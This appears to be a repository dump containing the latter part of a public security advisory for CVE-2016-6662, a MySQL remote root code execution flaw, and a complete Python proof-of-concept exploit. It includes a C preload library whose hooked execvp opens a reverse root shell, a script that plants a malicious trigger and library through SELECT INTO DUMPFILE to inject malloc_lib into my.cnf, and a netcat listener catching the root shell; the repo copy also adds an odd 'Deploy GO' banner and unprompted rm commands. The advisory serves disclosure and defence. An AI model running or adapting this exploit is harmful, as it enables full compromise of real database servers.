| for(i = 0; i <= 2; i++) dup2(sockfd, i); 858 | execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list ); 859 | 860 | exit(0); 861 | } 862 | 863 | 864 | /* 865 | cleanup injected data from the target config before it is read by mysqld 866 | in order to ensure clean startup of the service 867 | 868 | The injection (if done via logging) will start with a line like this: 869 | 870 | /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: 871 | 872 | */ 873 | 874 | int config_cleanup() { 875 | 876 | FILE *conf; 877 | char buffer[2000]; 878 | long cut_offset=0; 879 | 880 | conf = fopen(INJECTED_CONF, "r+"); 881 | if (!conf) return 1; 882 | 883 | while (!feof(conf)) { 884 | fgets(buffer, sizeof(buffer), conf); 885 | if (strstr(buffer,"/usr/sbin/mysqld, Version")) { 886 | cut_offset = (ftell(conf) - strlen(buffer)); 887 | } 888 | 889 | } 890 | if (cut_offset>0) ftruncate(fileno(conf), cut_offset); 891 | fclose(conf); 892 | return 0; 893 | 894 | } 895 | 896 | 897 | // execvp() hook 898 | int execvp(const char* filename, char* const argv[]) { 899 | 900 | pid_t pid; 901 | int fd; 902 | 903 | // Simple root PoC (touch /root/root_via_mysql) 904 | fd = open("/root/root_via_mysql", O_CREAT); 905 | close(fd); 906 | 907 | old_execvp = dlsym(RTLD_NEXT, "execvp"); 908 | 909 | // Fork a reverse shell and execute the original execvp() function 910 | pid = fork(); 911 | if (pid == 0) 912 | reverse_shell(); 913 | 914 | // clean injected payload before mysqld is started 915 | config_cleanup(); 916 | return old_execvp(filename, argv); 917 | } 918 | 919 | 920 | ------------------------------------------------ 921 | 922 | 923 | 924 | 925 | Replication / testing: 926 | ~~~~~~~~~~~~~~~~~~ 927 | 928 | As admin on the target system: 929 | ~~~~~~~~ 930 | 931 | 1. Set up a test database account/permissions: 932 | 933 | CREATE DATABASE pocdb; 934 | GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!'; 935 | GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'; 936 | 937 | 938 | 2. Simulate write access on any of available mysql configs. 939 | It just needs to be a valid/parsable config with section e.g: 940 | 941 | [isamchk] 942 | key_buffer = 16M 943 | 944 | For example, /etc/mysql/my.cnf on Debian: 945 | 946 | # chown mysql:mysql /etc/mysql/my.cnf 947 | 948 | # ls -l /etc/mysql/my.cnf 949 | -rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf 950 | 951 | 3. Run the exploit as the attacker and restart mysql when exploit 952 | is done. 953 | 954 | 955 | As attacker: 956 | ~~~~~~~~ 957 | 958 | 1. Enter your library path in mysql_hookandroot_lib.c src. 959 | 960 | 2. Run the 0ldSQL_MySQL_RCE_exploit.py script. 961 | 962 | 963 | Example run: 964 | ~~~~~~~~ 965 | 966 | attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf 967 | 968 | 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) 969 | (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit 970 | 971 | For testing purposes only. Do no harm. 972 | 973 | Discovered/Coded by: 974 | 975 | Dawid Golunski 976 | http://legalhackers.com 977 | 978 | 979 | [+] Connecting to target server 192.168.1.10 and target mysql account 'attacker@192.168.1.10' using DB 'pocdb' 980 | 981 | [+] The account in use has the following grants/perms: 982 | 983 | GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD 984 | GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%' 985 | 986 | [+] Compiling mysql_hookandroot_lib.so 987 | 988 | [+] Converting mysql_hookandroot_lib.so into HEX 989 | 990 | [+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG 991 | 992 | [+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target 993 | 994 | [+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded 995 | 996 | [+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf 997 | 998 | [+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected 999 | 1000 | [mysql] 1001 | #no-auto-rehash # faster start of mysql but no tab completition 1002 | 1003 | [isamchk] 1004 | key_buffer = 16M 1005 | 1006 | !includedir /etc/mysql/conf.d/ 1007 | /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: 1008 | Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock 1009 | Time Id Command Argument 1010 | 160912 8:48:41 44 Query select " 1011 | 1012 | # 0ldSQL_MySQL_RCE_exploit got here :) 1013 | 1014 | [mysqld] 1015 | malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' 1016 | 1017 | [abyss] 1018 | " INTO void 1019 | 44 Query SET global general_log = off 1020 | 1021 | [+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :) 1022 | 1023 | [+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :) 1024 | 1025 | listening on [any] 6033 ... 1026 | 1027 | connect to [192.168.1.20] from dbserver [192.168.1.10] 36932 1028 | bash: cannot set terminal process group (963): Inappropriate ioctl for device 1029 | bash: no job control in this shell 1030 | 1031 | root@debian:/# id 1032 | id 1033 | uid=0(root) gid=0(root) groups=0(root) 1034 | 1035 | root@debian:/# ls -l /root/root_via_mysql 1036 | ---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql 1037 | 1038 | 1039 | root@debian:/# exit 1040 | exit 1041 | exit 1042 | 1043 | [+] Shell closed. Hope you had fun. 1044 | 1045 | [+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;) 1046 | 1047 | [+] Exiting (code: 0) 1048 | 1049 | 1050 | 1051 | VII. BUSINESS IMPACT 1052 | ------------------------- 1053 | 1054 | As discussed above the vulnerability could be exploited by attackers with both 1055 | privileged and unprivileged (with FILE privilege only) access to mysql accounts. 1056 | It could also be combined with CVE-2016-6663 vulnerability which will be released 1057 | shortly and could allow certain attackers to escalate their privileges to root 1058 | even without FILE privilege. 1059 | 1060 | The vulnerability could also be exploited via an SQL injection vector, which 1061 | removes the need for the attackers to have direct mysql connection and increases 1062 | the risk of exploitation. 1063 | 1064 | Successful exploitation could gain a attacker a remote shell with root privileges 1065 | which would allow them to fully compromise the remote system. 1066 | 1067 | If exploited, the malicious code would run as soon as MySQL daemon gets 1068 | restarted. MySQL service restart could happen for a number of reasons. 1069 | 1070 | 1071 | VIII. SYSTEMS AFFECTED 1072 | ------------------------- 1073 | 1074 | All MySQL versions from the oldest versions to the latest shown at the beginnig 1075 | of this advisory. 1076 | 1077 | Some systems run MySQL via Systemd and provide direct startup path to mysqld 1078 | daemon instead of using mysqld_safe wrapper script. These systems however are 1079 | also at risk as mysqld_safe may be called on update by the installation scripts 1080 | or some other system services. It could also be triggered manually by 1081 | administrators running mysqld_safe as a habit. 1082 | 1083 | Because the exploit only accesses files normally used by MySQL server ( 1084 | such as the config), and the injected library is preloaded by mysqld_safe startup 1085 | scripta not included within the default policies, the vulnerability can be 1086 | exploited even if security modules as SELinux and AppArmor are installed with 1087 | active security policies for the MySQL daemon. 1088 | 1089 | 1090 | IX. VENDOR RESPONSE / SOLUTION 1091 | ------------------------- 1092 | 1093 | The vulnerability was reported to Oracle on 29th of July 2016 and triaged 1094 | by the security team. 1095 | It was also reported to the other affected vendors including PerconaDB and MariaDB. 1096 | 1097 | The vulnerabilities were patched by PerconaDB and MariaDB vendors in all branches 1098 | by 30th of August. 1099 | During the course of the patching process by these vendors the patches went into 1100 | public repositories and the fixed security issues were also mentioned in the 1101 | new releases which could be noticed by malicious attackers. 1102 | 1103 | As over 40 days have passed since reporting the issues and patches were already 1104 | mentioned publicly (by Percona and MariaDB) , a decision was made to start 1105 | disclosing vulnerabilities (with limited PoC) to inform users about the risks 1106 | before the vendor's next CPU update (scheduled for 18th of October). 1107 | 1108 | No official patches or mitigations are available at this time from the vendor. 1109 | As temporary mitigations, users should ensure that no mysql config files are 1110 | owned by mysql user, and create root-owned dummy my.cnf files that are not in 1111 | use. 1112 | These are by no means a complete solution and users should apply official vendor 1113 | patches as soon as they become available. 1114 | 1115 | Update (16/09/2016): 1116 | It has been found that the vendor silently (i.e. without notifing the researcher 1117 | via a direct communication despite the ongoing private communication via email, 1118 | nor via releasing an immediate public Security Alert to publicly announce the 1119 | critical fixes) released security patches for the CVE-2016-6662 vulnerability in 1120 | the following releases: 1121 | 1122 | https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html 1123 | https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html 1124 | https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html 1125 | 1126 | which changes the vulnerable/exploitable version list to the following: 1127 | 1128 | MySQL <= 5.7.14 1129 | 5.6.32 1130 | 5.5.51 1131 | 1132 | 1133 | X. REFERENCES 1134 | ------------------------- 1135 | 1136 | http://legalhackers.com 1137 | 1138 | http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 1139 | 1140 | Source codes from the advisory: 1141 | http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py 1142 | 1143 | http://legalhackers.com/exploits/mysql_hookandroot_lib.c 1144 | 1145 | MySQL releases containing security fixes: 1146 | https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html 1147 | https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html 1148 | https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html 1149 | which can be downloaded from: 1150 | http://dev.mysql.com/downloads/mysql/ 1151 | 1152 | https://mariadb.org/mariadb-server-versions-remote-root-code-execution-vulnerability-cve-2016-6662/ 1153 | 1154 | https://security-tracker.debian.org/tracker/CVE-2016-6662 1155 | 1156 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6662 1157 | 1158 | The old vulnerability fixed in MySQL version 3.23.55: 1159 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0150 1160 | 1161 | 1162 | XI. CREDITS 1163 | ------------------------- 1164 | 1165 | The vulnerability has been discovered by Dawid Golunski 1166 | dawid (at) legalhackers (dot) com 1167 | http://legalhackers.com 1168 | 1169 | XII. REVISION HISTORY 1170 | ------------------------- 1171 | 1172 | 12.09.2016 - Advisory released publicly as 0day 1173 | 16.09.2016 - Updated the IV section with important notes to clarify 1174 | misconceptions observed on some security forums. 1175 | 16.09.2016 - Updated the IX section to add information about fixed releases 1176 | along with I and II sections to reflect these. 1177 | 1178 | XIII. LEGAL NOTICES 1179 | ------------------------- 1180 | 1181 | The information contained within this advisory is supplied "as-is" with 1182 | no warranties or guarantees of fitness of use or otherwise. I accept no 1183 | responsibility for any damage caused by the use or misuse of this information. -------------------------------------------------------------------------------- /rce_mysql.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # This is a limited version of the PoC exploit. It only allows appending to 4 | # existing mysql config files with weak permissions. See V) 1) section of 5 | # the advisory for details on this vector. 6 | # 7 | # Full PoC will be released at a later date, and will show how attackers could 8 | # exploit the vulnerability on default installations of MySQL on systems with no 9 | # writable my.cnf config files available. 10 | # 11 | # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial 12 | # for certain low-privileged attackers that do not have FILE privilege. 13 | # 14 | # See full advisory for details: 15 | # http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt 16 | # 17 | # Stay tuned ;) 18 | 19 | intro = """ 20 | 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) 21 | (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit 22 | 23 | For testing purposes only. Do no harm. 24 | 25 | Discovered/Coded by: 26 | 27 | Dawid Golunski 28 | http://legalhackers.com 29 | 30 | """ 31 | 32 | import argparse 33 | import mysql.connector 34 | import binascii 35 | import subprocess 36 | 37 | def intro(): 38 | print("Hello Are U Sure? Deploy {str}".format(str='GO')) 39 | 40 | def info(str): 41 | print("[+] " + str + "\n") 42 | 43 | 44 | def errmsg(str): 45 | print("[!] " + str + "\n") 46 | 47 | 48 | def shutdown(code): 49 | if (code==0): 50 | info("Exiting (code: %d)\n" % code) 51 | else: 52 | errmsg("Exiting (code: %d)\n" % code) 53 | exit(code) 54 | 55 | 56 | cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so" 57 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 58 | (result, error) = process.communicate() 59 | rc = process.wait() 60 | 61 | 62 | # where will the library to be preloaded reside? /tmp might get emptied on reboot 63 | # /var/lib/mysql is safer option (and mysql can definitely write in there ;) 64 | malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so' 65 | 66 | 67 | # Main Meat 68 | 69 | print intro 70 | 71 | # Parse input args 72 | parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662') 73 | parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 74 | parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password') 75 | parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name') 76 | parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host') 77 | parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user') 78 | 79 | args = parser.parse_args() 80 | 81 | 82 | # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions 83 | # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables) 84 | info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB)) 85 | try: 86 | dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST) 87 | except mysql.connector.Error as err: 88 | errmsg("Failed to connect to the target: {}".format(err)) 89 | shutdown(1) 90 | 91 | try: 92 | cursor = dbconn.cursor() 93 | cursor.execute("SHOW GRANTS") 94 | except mysql.connector.Error as err: 95 | errmsg("Something went wrong: {}".format(err)) 96 | shutdown(2) 97 | 98 | privs = cursor.fetchall() 99 | info("The account in use has the following grants/perms: " ) 100 | for priv in privs: 101 | print priv[0] 102 | print "" 103 | 104 | 105 | # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 106 | # process execution and run our code (Remote Root Shell) 107 | # Remember to match the architecture of the target (not your machine!) otherwise the library 108 | # will not load properly on the target. 109 | info("Compiling mysql_hookandroot_lib.so") 110 | cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl" 111 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 112 | (result, error) = process.communicate() 113 | rc = process.wait() 114 | if rc != 0: 115 | errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd) 116 | print error 117 | shutdown(2) 118 | 119 | # Load mysql_hookandroot_lib.so library and encode it into HEX 120 | info("Converting mysql_hookandroot_lib.so into HEX") 121 | hookandrootlib_path = './mysql_hookandroot_lib.so' 122 | with open(hookandrootlib_path, 'rb') as f: 123 | content = f.read() 124 | hookandrootlib_hex = binascii.hexlify(content) 125 | 126 | # Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 127 | # Decoded payload (paths may differ): 128 | """ 129 | DELIMITER // 130 | CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf 131 | AFTER INSERT 132 | ON `poctable` FOR EACH ROW 133 | BEGIN 134 | 135 | DECLARE void varchar(550); 136 | set global general_log_file='/var/lib/mysql/my.cnf'; 137 | set global general_log = on; 138 | select " 139 | 140 | # 0ldSQL_MySQL_RCE_exploit got here :) 141 | 142 | [mysqld] 143 | malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' 144 | 145 | [abyss] 146 | " INTO void; 147 | set global general_log = off; 148 | 149 | END; // 150 | DELIMITER ; 151 | """ 152 | trigger_payload="""TYPE=TRIGGERS 153 | triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND' 154 | sql_modes=0 155 | definers='root@localhost' 156 | client_cs_names='utf8' 157 | connection_cl_names='utf8_general_ci' 158 | db_cl_names='latin1_swedish_ci' 159 | """ % (args.TARGET_MYCNF, malloc_lib_path) 160 | 161 | # Convert trigger into HEX to pass it to unhex() SQL function 162 | trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload) 163 | 164 | # Save trigger into a trigger file 165 | TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB 166 | info("Saving trigger payload into %s" % (TRG_path)) 167 | try: 168 | cursor = dbconn.cursor() 169 | cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) ) 170 | except mysql.connector.Error as err: 171 | errmsg("Something went wrong: {}".format(err)) 172 | shutdown(4) 173 | 174 | # Save library into a trigger file 175 | info("Dumping shared library into %s file on the target" % malloc_lib_path) 176 | try: 177 | cursor = dbconn.cursor() 178 | cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) ) 179 | except mysql.connector.Error as err: 180 | errmsg("Something went wrong: {}".format(err)) 181 | shutdown(5) 182 | 183 | # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server 184 | info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") 185 | try: 186 | cursor = dbconn.cursor() 187 | cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" ) 188 | except mysql.connector.Error as err: 189 | errmsg("Something went wrong: {}".format(err)) 190 | shutdown(6) 191 | 192 | # Finally, execute the trigger's payload by inserting anything into `poctable`. 193 | # The payload will write to the mysql config file at this point. 194 | info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF ) 195 | try: 196 | cursor = dbconn.cursor() 197 | cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) 198 | except mysql.connector.Error as err: 199 | errmsg("Something went wrong: {}".format(err)) 200 | shutdown(6) 201 | 202 | # Check on the config that was just created 203 | info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF ) 204 | try: 205 | cursor = dbconn.cursor() 206 | cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF) 207 | except mysql.connector.Error as err: 208 | errmsg("Something went wrong: {}".format(err)) 209 | shutdown(2) 210 | finally: 211 | dbconn.close() # Close DB connection 212 | print "" 213 | myconfig = cursor.fetchall() 214 | print myconfig[0][0] 215 | info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)") 216 | 217 | # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;) 218 | info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" ) 219 | listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"]) 220 | listener.communicate() 221 | print "" 222 | 223 | # Show config again after all the action is done 224 | info("Shell closed. Hope you had fun. ") 225 | 226 | # Mission complete, but just for now... Stay tuned :) 227 | info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""") 228 | 229 | 230 | # Shutdown 231 | shutdown(0) --------------------------------------------------------------------------------